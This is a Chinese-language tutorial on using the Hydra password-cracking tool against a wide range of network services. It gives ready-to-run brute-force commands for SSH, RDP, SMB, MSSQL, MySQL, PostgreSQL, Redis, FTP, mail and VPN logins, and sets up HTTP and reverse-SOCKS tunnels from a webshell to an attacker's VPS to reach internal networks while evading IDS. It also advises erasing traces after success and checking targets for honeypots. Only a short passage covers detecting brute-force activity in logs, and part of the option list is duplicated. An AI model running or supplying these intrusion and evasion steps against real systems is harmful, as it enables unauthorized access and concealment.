hydra是黑客组织thc的一款开源的暴力密码破解工具。
以
kali
自带的
hydra
为例进行演示,
linux
版和
windows版
的
hydra,
在使用上几乎是一样的,
需要注意的是,
有些库没编译进去
导致某些服务爆破模块不可用。
hydra的基础选项参数说明
-l 用于爆破单个用户名。
-L 用于爆破用户名字典文件。
-p 用于爆破单个密码,比如:内网环境中,管理密码在整个内网都通用。
-P 用于爆破密码字典文件。
-x 不用自己准备好的字典,而是直接指定类型在线生成的字典进行爆破。
-e 尝试空密码、用户名当作密码去爆破、把账户名密码调转进行爆破。直接指定账号密码组合进行爆破(格式user:pass)。比如:用已经抓到的密码在目标内网的所有机器上快速撞一遍。
-M 要爆破的目标IP列表,把目标IP事先写到文件中进行批量爆破,-o 把爆破成功的结果都存到指定文件中。
-f 每个IP只要成功爆破出一个密码就立即停止爆破。
-F 所有IP列表中,只要成功爆出一个密码就立即停止爆破。
-t 每个IP同时用几个进程跑,注意掌握火候,进程太多会影响精度,容易触发报警。
-T 所有IP总共用多少进程来跑。
-w 连接响应的超时时长。
-V 显示正在爆破使用的账号和密码。
-S 开启ssl。
-L 用于爆破用户名字典文件。
-p 用于爆破单个密码,比如:内网环境中,管理密码在整个内网都通用。
-P 用于爆破密码字典文件。
-x 不用自己准备好的字典,而是直接指定类型在线生成的字典进行爆破。
-e 尝试空密码、用户名当作密码去爆破、把账户名密码调转进行爆破。直接指定账号密码组合进行爆破(格式user:pass)。比如:用已经抓到的密码在目标内网的所有机器上快速撞一遍。
-M 要爆破的目标IP列表,把目标IP事先写到文件中进行批量爆破,-o 把爆破成功的结果都存到指定文件中。
-f 每个IP只要成功爆破出一个密码就立即停止爆破。
-F 所有IP列表中,只要成功爆出一个密码就立即停止爆破。
-t 每个IP同时用几个进程跑,注意掌握火候,进程太多会影响精度,容易触发报警。
-T 所有IP总共用多少进程来跑。
-w 连接响应的超时时长。
-V 显示正在爆破使用的账号和密码。
-S 开启ssl。
爆破实战
通常在vpn内网中爆破成功率会高一些,内网通常会比较松懈。可以尝试直接拿hydra在公网进行爆破,但成功率真的很低,提示:进行公网爆破会被溯源发现。
尝试爆破m
ssql的sa
密码。
# hydra -l sa -P /tmp/wordsdict/pwd.txt -e ns -f -o sa_res.txt -M target_sa.txt -t 8 -T 16 -w 20 -V mssql
爆破成功会提示password found
尝试爆破
windows smb
管理员用户弱口令,类似
mssql
的
sa
一样,目的是
获取目标的
windows
机器权限。
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o smb_res.txt -M smb_login.txt -t 8 -T 16 -w 20 -V smb
尝试爆破
windows
rdp
管理密码
一旦爆破成功它会尝试
登陆
一次,
如果你爆的那个用户当前正在线,
后果就是
直接把对方蹬出去。
最好用最新版的
windows
平台的
hydra,而不是kali的。
# hydra -S -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o rdp_res.txt -t 4 -w 20 -V rdp://192.168.5.16
上面只是爆破目标windows
的
本地管理员密码,
我们也可以直接用它来爆破指定的
域用户密码
# hydra -l rootkit\\administrator -P passwd.txt -e ns -f -o rdp_res.txt -t 4 -w 20 -V rdp://192.168.5.16
尝试爆破
linux ssh
的
root
密码
centos6以后root弱口令已比较少了,centos5以前的系统还是很靠谱的。支持基于证书登陆的ssh爆破。
除了linux一些路由交换设备的ssh也可以尝试。
# hydra -l root -P /tmp/wordsdict/pwd.txt -e ns -f -o ssh_res.txt -t 8 -T 16 -w 20 -V ssh://192.168.5.16
尝试爆破
mysql
的
root
密码
暂适用于
5.6.x
之前的版本,
包括
MariaDB,5.7.x
之后的版本可能会有些错误。
还可以爆破各类登录验证的服务,
比如:
ldap、webmail、ftp...
,
拿着弄到的账号密码可以到处去撞目标入口
# hydra -l root -P /tmp/wordsdict/pwd.txt -e ns -f -o mysql_res.txt -M target_mysql.txt -t 8 -T 16 -w 20 -V mysql
尝试爆破p
ostgresql
的
postgres
密码。
类似
mysql
# hydra -l postgres -P /tmp/wordsdict/pwd.txt -e ns -f -o pg_res.txt -M postgres_login.txt -t 8 -T 16 -w 20 -V postgres
尝试爆破
redis
弱口令,
redis
只需要指定密码字典文件。
用户名留空即可。
运气比较好,
目标机器r
edis
是以
root
权限在运行的话
getshell
就很快了,参考文章利用redis写webshell。
# hydra -P /tmp/wordsdict/pwd.txt -e ns -f -o redis_res.txt -t 8 -T 16 -w 20 -V redis://192.168.5.16
尝试爆破
ftp
弱口令,
ftp
有别于其它服务,
通常它的用户名都是不固定的,
该怎么去确定有效的目标
ftp
用户名呢
?
这就要靠你前期充分精准的信息搜集了。
# hydra -l wwwadmin -P /tmp/wordsdict/pwd.txt -e ns -f -o ftp_res.txt -t 8 -T 16 -w 20 -V ftp://192.168.5.16
尝试
mail
服务端口弱口令,
如
:smtp、imap、pop3。
主要是用来爆
自己的mail服务器,对于
gmail
这类公共邮箱。
基本不
可能成功。
爆破IMAP
和
POP3
最好加上
-S参数
# hydra -l fedora@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o smtp_res.txt -t 8 -T 16 -w 20 -V smtp://192.168.5.16
# hydra -S -l webadmin@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o imap_res.txt -t 8 -T 16 -w 20 -V imap://192.168.5.16
# hydra -S -l arch@god.org -P /tmp/wordsdict/pwd.txt -e ns -f -o pop3_res.txt -t 8 -T 16 -w 20 -V pop3://192.168.5.16
尝试爆破
win/linux
的
telnet,
某些路由交换设备上可能会使用telnet服务
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -o telnet_res.txt -M telnet_login.txt -t 8 -T 16 -w 20 -V telnet
# hydra –l root -P /tmp/wordsdict/pwd.txt -e ns -f -o telnet_res.txt -M telnet_login.txt -t 8 -T 16 -w 20 -V telnet
尝试爆破用于采集设备信息的
snmp
服务。
此爆破此服务用处不大,可以用于
尽可能多的搜集内网信息
# hydra -P /tmp/wordsdict/pwd.txt -e ns -f -o snmp_res.txt -M snmp_login.txt -t 8 -T 16 -w 20 -V snmp
尝试爆破
socks5
弱口令。
# hydra -l admin -P /tmp/wordsdict/pwd.txt -e ns -f -o socks5_res.txt -t 8 -T 16 -w 20 -s 53 -V socks5://192.168.5.16
pptp
协议的
vpn
很容易被爆破,对于
大型企业
不大可能会用
pptp,基本上都是
openvpn
或
cisco sslvpn
# thc-pptp-bruter -n 100 -u vpn 192.168.1.56 < /tmp/wordsdict/pwd.txt
http加密隧道快速探测服务弱口令。
上面都是假设自己就直接处在目标内网下的爆破方式,
但我们在实战中
绝大多数情况下,
往往还是只有一个
webshell,
是不是这样就意味着没法玩内网爆破了呢
?
内网穿透
abptts,借助这种
http
加密隧道实现的单端口转发,
一样可以很方便的对目标内网的各类基础服务进行弱口令探测。
这样干的好处在于不仅可以帮我们躲过一些
ids
的侦测,
让爆破变得相对更难被察觉。
# python abpttsclient.py -c shellbox/config.txt -u http://192.168.1.56:86/abptts.aspx -f 127.0.0.1:445/127.0.0.1:445
先和目标机器建立好
http
加密隧道
# hydra -l administrator -P /tmp/wordsdict/pwd.txt -e ns -f -t 8 -T 16 -w 20 -V smb://127.0.0.1
而后继续尝试正常爆破即可,
毕竟数据是被裹在隧道中传递。
通过socks隧道快速探测目标内网中的各类基础服务弱口令,同样有一定 ids bypass 效果,怀疑是流量被多裹了一层,所以暂时没识别出来
既然是要利用
socks
隧道,
事先肯定得和目标内网机器建立好
socks
才行
# ./ew_for_Linux32 -s rcsocks -l 1080 -e 110
在自己的
vps
上执行
# ew_for_Win.exe -s rssocks -d 192.168.1.67 -e 110
在能正常通外网的目标内网机器上执行
之后再回到本地用
proxychains4
连到刚刚的代理上,
对目标内网进行正常爆破即可
# egrep -v "^$|#" src/proxychains.conf
round_robin_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 192.168.1.67 1080
实际的爆破效果如下
# ./proxychains4 -f src/proxychains.conf hydra -l sa -P /tmp/wordsdict/pwd.txt -e ns -f -t 8 -T 16 -w 20 -V mssql://192.168.1.56
关于hydra在不同linux发行版下的编译安装。
hydra在Ubuntu 14.04.5 x86_64 LTS上的详细编译安装方法,编译时特别注意下,因为有些库事先没装。
# apt-get update
# apt-get install git libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libgcrypt11-dev libncurses5-dev -y
装好所需依赖库
# git clone https://github.com/vanhauser-thc/thc-hydra.git
# cd thc-hydra/ && ./configure --prefix=/tmp/cr && make && make install
# cd /tmp/cr/bin && ./hydra -h
hydra
在
CentOS 6.8 x86_64
上的详细编译安装方法
# yum install –y git openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel libncurses-devel
libidn-devel libpqxx-devel apr-devel apr-util-devel firebird-devel afpfs-ng-devel
# git clone https://github.com/vanhauser-thc/thc-hydra.git
# cd thc-hydra/ && ./configure --prefix=/tmp/cr && make && make install
# cd /tmp/cr/bin && ./hydra -h
尝试从系统日志和网络连接中去发现各种敏感服务爆破行为
# netstat -ano
hydra
默认其实是同时起十六个进程在跑,
所以此处你会看到有这么多连接,
本地端口是随机选个高端口
5
万以后的端口。
爆破
会在目标机器上留下大批的爆破日志,
比如:
从系统的安全日志中,可以
看到爆破的最终结果。
使用wireshark观察爆破行为。
mysql
错误号
1045
表示
mysql
账号密码错误,
返回
ok说
明爆破成功,通过IDS来侦测此类流量比较容易。
可以将爆破结果存为json格式。
# hydra -l postgres -P /home/wordlist/pwd.txt -e ns -f -o pg_res.json -b json -t 8 -T 16 -w 20 -V postgres://192.168.1.56
# hydra -l postgres -P /home/wordlist/pwd.txt -e ns -f -o pg_res.json -b json -t 8 -T 16 -w 20 -V postgres://192.168.1.56
注意
如果已经通过其它方式,
抓到了很多密码,可以先
手工慢慢尝试,
没必要上来直接使用具开始批量跑。
实战中尤其是找不到有价值的入手点的时候,弱口令爆破
往往它比其它任何手段都要切实有效。
短时间流量激增可能会触发报警,
必须要有个高质量字典才行。
爆破成功后记得
把痕迹都擦干净。
如果发现目标很容易爆出来
有可能是蜜罐,最好用
nmap
中集成的各种开源蜜罐指纹,
或者
shodan
之类的空间搜索引擎去check一下。